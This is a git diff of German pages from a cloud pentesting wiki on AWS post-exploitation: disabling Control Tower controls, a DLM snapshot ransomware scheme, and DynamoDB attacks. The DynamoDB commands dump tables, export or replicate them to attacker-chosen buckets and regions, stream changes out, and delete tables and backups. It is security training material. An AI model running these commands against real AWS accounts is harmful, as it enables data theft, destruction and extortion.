-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
new file mode 100644
index 000000000..dccd6c3d6
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
@@ -0,0 +1,18 @@
+# AWS - Control Tower Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Control Tower
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+{{#endref}}
+
+### Controls aktivieren / deaktivieren
+
+Um ein Konto weiter zu exploit, müssen Sie möglicherweise Control Tower Controls deaktivieren/aktivieren:
+```bash
+aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
deleted file mode 100644
index 0bad010bb..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# AWS - DLM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Data Lifecycle Manger (DLM)
-
-### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-
-Ein Ransomware-Angriff kann durchgeführt werden, indem so viele EBS-Volumes wie möglich verschlüsselt und dann die aktuellen EC2-Instanzen, EBS-Volumes und Snapshots gelöscht werden. Um diese böswillige Aktivität zu automatisieren, kann man Amazon DLM verwenden, um die Snapshots mit einem KMS-Schlüssel aus einem anderen AWS-Konto zu verschlüsseln und die verschlüsselten Snapshots in ein anderes Konto zu übertragen. Alternativ könnten sie Snapshots ohne Verschlüsselung in ein von ihnen verwaltetes Konto übertragen und sie dort verschlüsseln. Obwohl es nicht einfach ist, bestehende EBS-Volumes oder Snapshots direkt zu verschlüsseln, ist es möglich, dies zu tun, indem man ein neues Volume oder Snapshot erstellt.
-
-Zunächst wird ein Befehl verwendet, um Informationen zu Volumes zu sammeln, wie z.B. Instanz-ID, Volume-ID, Verschlüsselungsstatus, Anhangsstatus und Volumentyp.
-
-`aws ec2 describe-volumes`
-
-Zweitens wird die Lebenszyklusrichtlinie erstellt. Dieser Befehl verwendet die DLM-API, um eine Lebenszyklusrichtlinie einzurichten, die automatisch tägliche Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Es werden auch spezifische Tags auf die Snapshots angewendet und Tags von den Volumes auf die Snapshots kopiert. Die policyDetails.json-Datei enthält die Einzelheiten der Lebenszyklusrichtlinie, wie z.B. Ziel-Tags, Zeitplan, die ARN des optionalen KMS-Schlüssels zur Verschlüsselung und das Zielkonto für die Snapshot-Freigabe, die in den CloudTrail-Protokollen des Opfers aufgezeichnet werden.
-```bash
-aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
-```
-Ein Template für das Richtliniendokument kann hier gesehen werden:
-```bash
-{
-"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-"ResourceTypes": [
-"VOLUME"
-],
-"TargetTags": [
-{
-"Key": "ExampleKey",
-"Value": "ExampleValue"
-}
-],
-"Schedules": [
-{
-"Name": "DailySnapshots",
-"CopyTags": true,
-"TagsToAdd": [
-{
-"Key": "SnapshotCreator",
-"Value": "DLM"
-}
-],
-"VariableTags": [
-{
-"Key": "CostCenter",
-"Value": "Finance"
-}
-],
-"CreateRule": {
-"Interval": 24,
-"IntervalUnit": "HOURS",
-"Times": [
-"03:00"
-]
-},
-"RetainRule": {
-"Count": 14
-},
-"FastRestoreRule": {
-"Count": 2,
-"Interval": 12,
-"IntervalUnit": "HOURS"
-},
-"CrossRegionCopyRules": [
-{
-"TargetRegion": "us-west-2",
-"Encrypted": true,
-"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-"CopyTags": true,
-"RetainRule": {
-"Interval": 1,
-"IntervalUnit": "DAYS"
-}
-}
-],
-"ShareRules": [
-{
-"TargetAccounts": [
-"123456789012"
-],
-"UnshareInterval": 30,
-"UnshareIntervalUnit": "DAYS"
-}
-]
-}
-],
-"Parameters": {
-"ExcludeBootVolume": false
-}
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
new file mode 100644
index 000000000..b2303a5d6
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
@@ -0,0 +1,91 @@
+# AWS - DLM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Datenlebenszyklus-Manager (DLM)
+
+### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
+
+Ein ransomware-Angriff kann ausgeführt werden, indem so viele EBS-Volumes wie möglich verschlüsselt und anschließend die aktuellen EC2-Instanzen, EBS-Volumes und Snapshots gelöscht werden. Um diese bösartige Aktivität zu automatisieren, kann Amazon DLM eingesetzt werden, wobei die Snapshots mit einem KMS key aus einem anderen AWS-Konto verschlüsselt und die verschlüsselten Snapshots in ein anderes Konto übertragen werden. Alternativ könnten Snapshots unverschlüsselt in ein eigenes Konto übertragen und dort verschlüsselt werden. Auch wenn es nicht trivial ist, vorhandene EBS-Volumes oder Snapshots direkt zu verschlüsseln, ist es möglich, dies zu erreichen, indem ein neues Volume oder ein neuer Snapshot erstellt wird.
+
+Zuerst wird ein Befehl verwendet, um Informationen zu Volumes zu sammeln, wie instance ID, volume ID, encryption status, attachment status und volume type.
+
+`aws ec2 describe-volumes`
+
+Als Nächstes erstellt man die Lifecycle-Policy. Dieser Befehl verwendet die DLM-API, um eine Lifecycle-Policy einzurichten, die automatisch täglich Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Sie fügt den Snapshots außerdem bestimmte Tags hinzu und kopiert Tags von den Volumes auf die Snapshots. Die Datei policyDetails.json enthält die Details der Lifecycle-Policy, wie target tags, schedule, die ARN des optionalen KMS key für die Verschlüsselung und das Zielkonto für das Teilen der Snapshots, was in den CloudTrail-Logs des Opfers protokolliert wird.
+```bash
+aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
+```
+Eine Vorlage für das Richtliniendokument kann hier eingesehen werden:
+```bash
+{
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
similarity index 62%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
index 4f4f9eefb..3fbf8aaad 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
@@ -1,18 +1,18 @@
 # AWS - DynamoDB Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
 ### `dynamodb:BatchGetItem`
 
-Ein attacker mit diesen Berechtigungen kann **items aus Tabellen anhand des Primärschlüssels abrufen** (man kann nicht einfach alle Daten der Tabelle anfordern). Das bedeutet, dass du die Primärschlüssel kennen musst (du kannst diese erhalten, indem du die Tabellen-Metadaten abrufst (`describe-table`)).
+Ein Angreifer mit dieser Berechtigung kann **Elemente aus Tabellen anhand des Primärschlüssels abrufen** (du kannst nicht einfach alle Daten der Tabelle anfordern). Das bedeutet, dass du die Primärschlüssel kennen musst (du kannst diese erhalten, indem du die Tabellen-Metadaten abrufst (`describe-table`).
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Mögliche Auswirkung:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
+**Mögliche Auswirkungen:** Indirekter privesc durch das Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:GetItem`
 
-**Ähnlich zu den vorherigen Berechtigungen** ermöglicht diese einem potenziellen Angreifer, Werte aus nur einer Tabelle zu lesen, sofern der Primärschlüssel des Eintrags zum Abrufen bekannt ist:
+**Ähnlich wie bei den vorherigen Berechtigungen** ermöglicht diese, dass ein potenzieller Angreifer Werte aus nur einer Tabelle lesen kann, sofern der Primärschlüssel des abzurufenden Eintrags bekannt ist:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Potentielle Auswirkungen:** Indirekte privesc durch das Auffinden sensibler Informationen in der Tabelle
+**Potentielle Auswirkung:** Indirect privesc durch das Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:Query`
 
-**Ähnlich wie bei den vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur einer Tabelle zu lesen, sofern der Primärschlüssel des abzurufenden Eintrags vorliegt. Es ermöglicht die Verwendung eines [Teils der Vergleichsoperatoren](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige Vergleich, der mit dem Primärschlüssel (der vorhanden sein muss) erlaubt ist, ist "EQ", sodass man nicht per Vergleich die gesamte Datenbank in einer Anfrage erhalten kann.
+**Ähnlich zu den vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist. Sie erlaubt die Nutzung eines [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige Vergleich, der mit dem Primärschlüssel (der vorhanden sein muss) erlaubt ist, ist "EQ", sodass du nicht per Vergleich die gesamte DB in einer Anfrage abrufen kannst.
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}
 
-**Mögliche Auswirkungen:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
+**Potentielle Auswirkung:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:Scan`
 
-Mit dieser Berechtigung können Sie die gesamte Tabelle einfach dumpen.
+Sie können diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**Mögliche Auswirkung:** Indirekte privesc durch das Auffinden sensibler Informationen in der Tabelle
+**Potentielle Auswirkungen:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:PartiQLSelect`
 
-Mit dieser Berechtigung können Sie die gesamte Tabelle einfach dumpen.
+Du kannst diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-Diese Berechtigung erlaubt außerdem, `batch-execute-statement` wie folgt auszuführen:
+Diese Berechtigung erlaubt es außerdem, `batch-execute-statement` auszuführen, z. B.:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-aber du musst den Primärschlüssel mit einem Wert angeben, daher ist das nicht sehr nützlich.
+Man muss jedoch den Primärschlüssel mit einem Wert angeben, daher ist es nicht sehr nützlich.
 
-**Mögliche Auswirkungen:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
+**Mögliche Auswirkung:** Indirekter privesc durch das Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
-Diese Berechtigung ermöglicht einem Angreifer, **die gesamte Tabelle in einen S3-Bucket seiner Wahl zu exportieren**:
+Diese Berechtigung erlaubt einem Angreifer, **die gesamte Tabelle in einen von ihm gewählten S3-Bucket zu exportieren**:
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,34 +144,34 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Beachte, dass dafür die Tabelle point-in-time-recovery aktiviert sein muss. Du kannst prüfen, ob die Tabelle das hat mit:
+Beachte, dass dafür point-in-time-recovery auf der Tabelle aktiviert sein muss; du kannst prüfen, ob die Tabelle das hat mit:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-Wenn es nicht aktiviert ist, müssen Sie **es aktivieren** und dafür benötigen Sie die **`dynamodb:ExportTableToPointInTime`**-Berechtigung:
+Wenn es nicht aktiviert ist, müssen Sie es **aktivieren**, und dafür benötigen Sie die Berechtigung **`dynamodb:ExportTableToPointInTime`**:
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Mögliche Auswirkungen:** Indirektes privesc durch Auffinden sensibler Informationen in der Tabelle
+**Mögliche Auswirkungen:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
 
-Mit diesen Berechtigungen könnte ein Angreifer **eine neue Tabelle aus einem Backup erstellen** (oder sogar ein Backup erstellen, um es anschließend in einer anderen Tabelle wiederherzustellen). Dann könnte er mit den notwendigen Berechtigungen **Informationen** aus den Backups einsehen, die **nicht mehr in der Produktions-Tabelle** vorhanden sind.
+Mit diesen Berechtigungen könnte ein Angreifer **eine neue Tabelle aus einem Backup erstellen** (oder sogar ein Backup erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Dann könnte er mit den notwendigen Berechtigungen **Informationen** aus den Backups prüfen, die n**icht mehr in der Produktions** tabelle.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**Potentielle Auswirkung:** Indirect privesc durch Auffinden sensibler Informationen in der Tabellensicherung
+**Mögliche Auswirkungen:** Indirekter privesc durch Auffinden sensibler Informationen im Tabellen-Backup
 
 ### `dynamodb:PutItem`
 
-Diese Berechtigung erlaubt Benutzern, ein **neues Item in die Tabelle einzufügen oder ein vorhandenes Item** durch ein neues Item zu ersetzen. Wenn bereits ein Item mit demselben Primärschlüssel existiert, wird das **gesamte Item durch das neue Item ersetzt**. Existiert der Primärschlüssel nicht, wird ein neues Item mit dem angegebenen Primärschlüssel **erstellt**.
+Diese Berechtigung erlaubt es Benutzern, ein **neues Item in die Tabelle hinzuzufügen oder ein bestehendes Item** durch ein neues Item zu ersetzen. Wenn ein Item mit demselben Primärschlüssel bereits existiert, wird das **gesamte Item durch das neue Item ersetzt**. Falls der Primärschlüssel nicht existiert, wird ein neues Item mit dem angegebenen Primärschlüssel **erstellt**.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -203,11 +203,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potentielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/bypasses, da dadurch Daten in einer DynamoDB-Tabelle hinzugefügt oder geändert werden können
+**Potentieller Einfluss:** Ausnutzung weiterer Schwachstellen/Bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
 
 ### `dynamodb:UpdateItem`
 
-Diese Berechtigung erlaubt Benutzern, **vorhandene Attribute eines Items zu ändern oder einem Item neue Attribute hinzuzufügen**. Sie ersetzt **nicht** das gesamte Item; sie aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle existiert, wird die Operation ein **neues Item erstellen** mit dem angegebenen Primärschlüssel und die in der Update-Expression angegebenen Attribute setzen.
+Diese Berechtigung erlaubt es Benutzern, **die vorhandenen Attribute eines Items zu ändern oder einem Item neue Attribute hinzuzufügen**. Sie **ersetzt nicht** das gesamte Item; sie aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel in der Tabelle nicht existiert, erstellt die Operation **ein neues Item** mit dem angegebenen Primärschlüssel und setzt die im Update-Ausdruck angegebenen Attribute.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -243,11 +243,11 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potentielle Auswirkungen:** Ausnutzung weiterer vulnerabilities/bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
+**Potenzielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/Bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen oder zu ändern
 
 ### `dynamodb:DeleteTable`
 
-Ein Angreifer mit dieser Berechtigung kann **eine DynamoDB-Tabelle löschen, was zu Datenverlust führt**.
+Ein Angreifer mit dieser Berechtigung kann **eine DynamoDB-Tabelle löschen, was zu Datenverlust führt**
 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
@@ -263,14 +263,14 @@ aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Potential impact**: Datenverlust und Unfähigkeit, im Disaster-Recovery-Fall aus einem Backup wiederherzustellen.
+**Potential impact**: Datenverlust und die Unfähigkeit, während eines Disaster-Recovery-Szenarios aus einem Backup wiederherzustellen.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
-> TODO: Prüfen, ob das tatsächlich funktioniert
+> TODO: Testen, ob das tatsächlich funktioniert
 
-Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, damit Änderungen gestreamt werden, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dies erlaubt dem Angreifer, Datenänderungen zu überwachen und zu exfiltrieren, was möglicherweise zu data leakage führt.
+Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, damit Änderungen gestreamt werden, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dadurch kann der Angreifer Änderungen überwachen und exfiltrate data changes, was möglicherweise zu data leakage führt.
 
 1. Einen Stream auf einer DynamoDB-Tabelle aktivieren:
 ```bash
@@ -279,13 +279,13 @@ aws dynamodb update-table \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
 --region <region>
 ```
-2. Beschreibe den Stream, um die ARN und andere Details zu erhalten:
+2. Beschreibe den Stream, um die ARN und weitere Details zu erhalten:
 ```bash
 aws dynamodb describe-stream \
 --table-name TargetTable \
 --region <region>
 ```
-3. Erhalte den Shard-Iterator mithilfe der Stream-ARN:
+3. Den shard iterator mit der stream ARN abrufen:
 ```bash
 aws dynamodbstreams get-shard-iterator \
 --stream-arn <stream_arn> \
@@ -293,19 +293,19 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-Verwende den shard iterator, um auf den stream zuzugreifen und exfiltrate data from the stream:
+4. Verwende den shard iterator, um auf den stream zuzugreifen und Daten daraus zu exfiltrate:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Potential impact**: Echtzeit-Überwachung und Datenabfluss der Änderungen an der DynamoDB-Tabelle.
+**Mögliche Auswirkungen**: Echtzeitüberwachung und data leak von Änderungen an der DynamoDB-Tabelle.
 
-### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
+### Items lesen über `dynamodb:UpdateItem` und `ReturnValues=ALL_OLD`
 
-Ein Angreifer mit nur `dynamodb:UpdateItem` auf einer Tabelle kann Items lesen, ohne eine der üblichen Lese-Berechtigungen (`GetItem`/`Query`/`Scan`), indem er ein harmloses Update durchführt und `--return-values ALL_OLD` anfragt. DynamoDB gibt das vollständige Vor-Update-Abbild des Items im Feld `Attributes` der Antwort zurück (dies verbraucht keine RCUs).
+Ein Angreifer mit lediglich `dynamodb:UpdateItem` auf einer Tabelle kann Items lesen, ohne eine der üblichen Lese-Berechtigungen (`GetItem`/`Query`/`Scan`), indem er ein harmloses Update durchführt und `--return-values ALL_OLD` anfordert. DynamoDB gibt das vollständige Pre-Update-Abbild des Items im `Attributes`-Feld der Antwort zurück (dies verbraucht keine RCUs).
 
-- Minimale Berechtigungen: `dynamodb:UpdateItem` auf der Zieltabelle/Key.
+- Minimale Berechtigungen: `dynamodb:UpdateItem` auf der Ziel-Tabelle/-Key.
 - Voraussetzungen: Sie müssen den Primärschlüssel des Items kennen.
 
 Beispiel (fügt ein harmloses Attribut hinzu und exfiltrates das vorherige Item in der Antwort):
@@ -319,14 +319,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-Die CLI-Antwort enthält einen `Attributes`-Block, der das vollständige vorherige Item (alle Attribute) enthält und damit effektiv eine Leseprimitive aus reinem Schreibzugriff bereitstellt.
+Die CLI-Antwort wird einen `Attributes`-Block enthalten, der das komplette vorherige Item (alle Attribute) enthält und damit effektiv eine Lese-Primitive bei write-only-Zugriff bereitstellt.
 
-**Potentielle Auswirkungen:** Beliebige Items aus einer Tabelle mit nur Schreibberechtigungen lesen, wodurch die Exfiltration sensibler Daten möglich wird, wenn Primärschlüssel bekannt sind.
+**Mögliche Auswirkungen:** Beliebige Items aus einer Tabelle lesen, obwohl nur Schreibberechtigungen bestehen, wodurch die Exfiltration sensibler Daten möglich wird, wenn die Primärschlüssel bekannt sind.
 
 
 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
 
-Heimliche Exfiltration durch Hinzufügen einer neuen Replica-Region zu einer DynamoDB Global Table (version 2019.11.21). Kann ein principal eine regionale Replik hinzufügen, wird die gesamte Tabelle in die vom Angreifer gewählte Region repliziert, von der aus der Angreifer alle Items lesen kann.
+Heimliche Exfiltration durch Hinzufügen einer neuen Replica-Region zu einer DynamoDB Global Table (version 2019.11.21). Wenn ein Principal eine regionale Replik hinzufügen kann, wird die gesamte Tabelle in die vom Angreifer gewählte Region repliziert, von der aus der Angreifer alle Items lesen kann.
 
 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -355,13 +355,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}
 
-Berechtigungen: `dynamodb:UpdateTable` (mit `replica-updates`) oder `dynamodb:CreateTableReplica` auf der Ziel-Tabelle. Wenn in der Replik ein CMK verwendet wird, können KMS-Berechtigungen für diesen Schlüssel erforderlich sein.
+Berechtigungen: `dynamodb:UpdateTable` (mit `replica-updates`) oder `dynamodb:CreateTableReplica` auf der Ziel-Tabelle. Wenn in der Replica ein CMK verwendet wird, können KMS-Berechtigungen für diesen Schlüssel erforderlich sein.
 
-Mögliche Auswirkungen: Vollständige Tabellenreplikation in eine von einem Angreifer kontrollierte Region, was zu heimlicher Datenexfiltration führt.
+Mögliche Auswirkungen: Vollständige Tabellenreplikation in eine vom Angreifer kontrollierte Region, die zu unauffälliger Datenexfiltration führt.
 
-### `dynamodb:TransactWriteItems` (Lesen via fehlgeschlagene Bedingung + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
+### `dynamodb:TransactWriteItems` (lesen über fehlgeschlagene Bedingung + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
 
-Ein Angreifer mit transaktionalen Schreibberechtigungen kann die vollständigen Attribute eines bestehenden Items exfiltrieren, indem er ein `Update` innerhalb von `TransactWriteItems` durchführt, das absichtlich eine `ConditionExpression` fehlschlagen lässt, während `ReturnValuesOnConditionCheckFailure=ALL_OLD` gesetzt ist. Im Fehlerfall fügt DynamoDB die vorherigen Attribute in die Gründe für die Transaktionsstornierung ein und verwandelt damit effektiv nur-Schreibzugriff in Lesezugriff auf die angezielten Schlüssel.
+Ein Angreifer mit transaktionalen Schreibrechten kann die vollständigen Attribute eines vorhandenen item exfiltrieren, indem er ein `Update` innerhalb von `TransactWriteItems` ausführt, das absichtlich eine `ConditionExpression` fehlschlagen lässt, während `ReturnValuesOnConditionCheckFailure=ALL_OLD` gesetzt ist. Beim Fehlschlag fügt DynamoDB die vorherigen Attribute in die Gründe für den Abbruch der Transaktion ein und wandelt damit schreibberechtigten Zugriff effektiv in Lesezugriff auf die gezielten Keys um.
 
 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -410,19 +410,19 @@ print(e.response['CancellationReasons'][0]['Item'])
 {{#endtab }}
 {{#endtabs }}
 
-Berechtigungen: `dynamodb:TransactWriteItems` auf der Ziel-Tabelle (und dem zugrunde liegenden Item). Es sind keine Lese-Berechtigungen erforderlich.
+Berechtigungen: `dynamodb:TransactWriteItems` auf der Ziel-Tabelle (und dem zugrundeliegenden Item). Es sind keine Lese-Berechtigungen erforderlich.
 
-Mögliche Auswirkungen: Beliebige Items (per Primärschlüssel) aus einer Tabelle lesen, indem nur transaktionale Schreibrechte über die zurückgegebenen Abbruchgründe verwendet werden.
+Potentielle Auswirkungen: Beliebige Items (per Primärschlüssel) aus einer Tabelle lesen, nur mit Transaktions-Schreibberechtigungen mithilfe der zurückgegebenen cancellation reasons.
 
 
-### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
+### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` auf GSI
 
-Umgehung von Leseeinschränkungen, indem man einen Global Secondary Index (GSI) mit `ProjectionType=ALL` auf einem Attribut mit niedriger Entropie erstellt, dieses Attribut über alle Items hinweg auf einen konstanten Wert setzt und dann den Index per `Query` abruft, um die vollständigen Items zu erhalten. Das funktioniert selbst dann, wenn `Query`/`Scan` auf der Basistabelle verweigert wird, solange Sie den Index-ARN abfragen können.
+Leseeinschränkungen umgehen, indem ein Global Secondary Index (GSI) mit `ProjectionType=ALL` auf einem Attribut mit geringer Entropie erstellt wird, dieses Attribut über alle Items auf einen konstanten Wert gesetzt wird und dann der Index mit `Query` abgefragt wird, um komplette Items zu erhalten. Das funktioniert selbst wenn `Query`/`Scan` auf der Basistabelle verweigert wird, solange der Index-ARN abgefragt werden kann.
 
 - Minimale Berechtigungen:
 - `dynamodb:UpdateTable` auf der Ziel-Tabelle (um den GSI mit `ProjectionType=ALL` zu erstellen).
-- `dynamodb:UpdateItem` auf den Schlüsseln der Ziel-Tabelle (um das indizierte Attribut bei jedem Item zu setzen).
-- `dynamodb:Query` auf die Index-Ressourcen-ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
+- `dynamodb:UpdateItem` auf den Schlüsseln der Ziel-Tabelle (um das indizierte Attribut in jedem Item zu setzen).
+- `dynamodb:Query` auf dem Index-Resource-ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
 
 Schritte (PoC in us-east-1):
 ```bash
@@ -462,17 +462,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Potential Impact:** Full table exfiltration durch Abfragen eines neu erstellten GSI, der alle Attribute projiziert, selbst wenn Lese-APIs der Basistabelle verweigert werden.
+**Potenzielle Auswirkungen:** Full table exfiltration durch Abfrage eines neu erstellten GSI, der alle Attribute projiziert, selbst wenn Lese-APIs der Basistabelle verweigert werden.
 
 
